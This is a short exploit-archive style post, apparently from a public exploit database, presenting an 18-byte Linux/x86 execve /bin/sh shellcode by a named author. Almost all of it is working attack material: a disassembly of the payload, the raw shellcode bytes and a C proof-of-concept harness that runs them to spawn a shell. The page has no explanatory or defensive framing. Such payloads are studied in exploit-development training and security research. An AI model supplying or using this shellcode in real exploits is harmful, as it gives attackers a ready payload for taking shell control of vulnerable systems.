Linux/x86 execve /bin/sh Shellcode

18 bytes small Linux/x86 execve /bin/sh shellcode.


MD5 | 739370cc7f3f22c6cac85503319011b5

/*
# Linux/x86 - execve /bin/sh shellcode (18 bytes)
# Author: Anurag Srivastava
# Tested on: i686 GNU/Linux
# Shellcode Length: 18

Disassembly of section .text:

08048060 <_start>:
8048060: 6a 0b push 0xb
8048062: 58 pop eax
8048063: 53 push ebx
8048064: 68 2f 2f 73 68 push 0x68732f2f
8048069: 68 2f 62 69 6e push 0x6e69622f
804806e: 89 e3 mov ebx,esp
8048070: cd 80 int 0x80

===============POC by Anurag Srivastava=========================
*/

#include<stdio.h>
#include<string.h>

unsigned char code[] = \

"\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";

main()
{

printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}

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